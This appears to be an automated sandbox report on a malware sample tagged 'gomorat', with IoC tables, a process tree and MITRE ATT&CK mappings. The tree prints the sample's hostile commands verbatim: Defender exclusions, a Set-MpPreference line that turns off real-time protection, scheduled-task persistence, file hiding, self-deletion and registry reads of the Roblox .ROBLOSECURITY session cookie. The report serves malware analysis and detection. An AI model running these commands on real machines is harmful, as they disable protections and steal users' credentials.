gomorat | ae434a9a00f40da7cf54264e70bc5c5b6bf80f1e53909ff05dc01177673189ac

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
9	api.ipify.org
16	api.ipify.org
19	api.ipify.org
20	api.ipify.org
22	api.ipify.org
23	api.ipify.org
1	api.ipify.org
1	ip-api.com

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

System Information Discovery

Windows Management Instrumentation

T1047

pid	Process
3524	wmic.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2380	cmd.exe
4304	cmd.exe
1112	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	nitra.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	nitra.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Umbral.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Umbral.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	nitra.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	nitra.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
1112	cmd.exe
5640	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3052	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5640	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4232	schtasks.exe
3512	schtasks.exe
2904	schtasks.exe
4048	schtasks.exe
3512	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
928	powershell.exe
928	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	928	powershell.exe
Token: SeSecurityPrivilege	928	powershell.exe
Token: SeTakeOwnershipPrivilege	928	powershell.exe
Token: SeLoadDriverPrivilege	928	powershell.exe
Token: SeSystemProfilePrivilege	928	powershell.exe
Token: SeSystemtimePrivilege	928	powershell.exe
Token: SeProfSingleProcessPrivilege	928	powershell.exe
Token: SeIncBasePriorityPrivilege	928	powershell.exe
Token: SeCreatePagefilePrivilege	928	powershell.exe
Token: SeBackupPrivilege	928	powershell.exe
Token: SeRestorePrivilege	928	powershell.exe
Token: SeShutdownPrivilege	928	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeSystemEnvironmentPrivilege	928	powershell.exe
Token: SeRemoteShutdownPrivilege	928	powershell.exe
Token: SeUndockPrivilege	928	powershell.exe
Token: SeManageVolumePrivilege	928	powershell.exe
Token: 33	928	powershell.exe
Token: 34	928	powershell.exe
Token: 35	928	powershell.exe
Token: 36	928	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeIncreaseQuotaPrivilege	4548	powershell.exe
Token: SeSecurityPrivilege	4548	powershell.exe
Token: SeTakeOwnershipPrivilege	4548	powershell.exe
Token: SeLoadDriverPrivilege	4548	powershell.exe
Token: SeSystemProfilePrivilege	4548	powershell.exe
Token: SeSystemtimePrivilege	4548	powershell.exe
Token: SeProfSingleProcessPrivilege	4548	powershell.exe
Token: SeIncBasePriorityPrivilege	4548	powershell.exe
Token: SeCreatePagefilePrivilege	4548	powershell.exe
Token: SeBackupPrivilege	4548	powershell.exe
Token: SeRestorePrivilege	4548	powershell.exe
Token: SeShutdownPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeSystemEnvironmentPrivilege	4548	powershell.exe
Token: SeRemoteShutdownPrivilege	4548	powershell.exe
Token: SeUndockPrivilege	4548	powershell.exe
Token: SeManageVolumePrivilege	4548	powershell.exe
Token: 33	4548	powershell.exe
Token: 34	4548	powershell.exe
Token: 35	4548	powershell.exe
Token: 36	4548	powershell.exe
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	3820	nitra.exe
Token: SeIncreaseQuotaPrivilege	364	powershell.exe
Token: SeSecurityPrivilege	364	powershell.exe
Token: SeTakeOwnershipPrivilege	364	powershell.exe
Token: SeLoadDriverPrivilege	364	powershell.exe
Token: SeSystemProfilePrivilege	364	powershell.exe
Token: SeSystemtimePrivilege	364	powershell.exe
Token: SeProfSingleProcessPrivilege	364	powershell.exe
Token: SeIncBasePriorityPrivilege	364	powershell.exe
Token: SeCreatePagefilePrivilege	364	powershell.exe
Token: SeBackupPrivilege	364	powershell.exe
Token: SeRestorePrivilege	364	powershell.exe
Token: SeShutdownPrivilege	364	powershell.exe
Token: SeDebugPrivilege	364	powershell.exe
Token: SeSystemEnvironmentPrivilege	364	powershell.exe
Token: SeRemoteShutdownPrivilege	364	powershell.exe
Token: SeUndockPrivilege	364	powershell.exe
Token: SeManageVolumePrivilege	364	powershell.exe
Token: 33	364	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 824 wrote to memory of 928	824	nitr0.exe	89
PID 824 wrote to memory of 4232	824	nitr0.exe	92
PID 824 wrote to memory of 592	824	nitr0.exe	94
PID 824 wrote to memory of 4548	824	nitr0.exe	95
PID 824 wrote to memory of 3512	824	nitr0.exe	135
PID 824 wrote to memory of 3820	824	nitr0.exe	101
PID 824 wrote to memory of 364	824	nitr0.exe	102
PID 824 wrote to memory of 2904	824	nitr0.exe	107
PID 824 wrote to memory of 616	824	nitr0.exe	109
PID 616 wrote to memory of 3480	616	Umbral.exe	112
PID 616 wrote to memory of 1776	616	Umbral.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3480	attrib.exe

C:\Users\Admin\AppData\Local\Temp\nitr0.exe
"C:\Users\Admin\AppData\Local\Temp\nitr0.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nitr0.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:928
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /F /TN "nitr0" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\nitr0.exe" /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4232
- C:\Users\Admin\AppData\Local\Temp\nitr0.exe
  "C:\Users\Admin\AppData\Local\Temp\nitr0.exe"
  2⤵
  PID:592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nitra.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /F /TN "nitra" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\nitra.exe" /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3512
- C:\Users\Admin\AppData\Local\Temp\nitra.exe
  "C:\Users\Admin\AppData\Local\Temp\nitra.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:3392
- - C:\Program Files\junkSearch.exe
    "C:\Program Files\junkSearch.exe"
    3⤵
    PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:364
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /F /TN "Umbral" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2904
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:3480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Disables automatic submission of suspicious files to Microsoft by Windows Defender
    PID:5696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:5456
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:4560
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2604
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Queries system WMI classes for hardware identifiers
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3160
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3052
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1112
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5640

C:\Users\Admin\AppData\Local\Temp\nitr0.exe
C:\Users\Admin\AppData\Local\Temp\nitr0.exe
1⤵
PID:5252

C:\Users\Admin\AppData\Local\Temp\nitra.exe
C:\Users\Admin\AppData\Local\Temp\nitra.exe
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:4092
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3632
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" 471|MOmc1/z/DJrvosnmuSv1eGv8x0KszEWlJXnRny5K8HHd8kAY/P2fHGtGpqPAzBNAWindowsControl472|VpuI53Vc/55p8NFmG26A89ED5G9tQ2OgoFYakyXScAc=C:\Program Files\junkSearch.exe" enable=yes & exit
  2⤵
  PID:3064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "ShellHost" /tr "C:\Program Files\junkSearch.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  PID:2380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "ShellHost" /tr "C:\Program Files\junkSearch.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "CookieManager" /tr "C:\Windows\junkSearcher.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  PID:4304
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "CookieManager" /tr "C:\Windows\junkSearcher.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3512
- C:\Program Files\junkSearch.exe
  "C:\Program Files\junkSearch.exe"
  2⤵
  PID:3548
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:3228

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
C:\Users\Admin\AppData\Local\Temp\Umbral.exe
1⤵
- Executes dropped EXE
PID:3716

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
PID:3424
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:4576

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:4292

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:2384

C:\Windows\System32\userinit.exe
C:\Windows\System32\userinit.exe
1⤵
PID:2160
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:3076

C:\Program Files\junkSearch.exe
"C:\Program Files\junkSearch.exe"
1⤵
PID:1304

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3368

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:2784

C:\Windows\System32\userinit.exe
C:\Windows\System32\userinit.exe
1⤵
PID:3496
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:2272

C:\Program Files\junkSearch.exe
"C:\Program Files\junkSearch.exe"
1⤵
PID:4600

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:2316

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:5100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery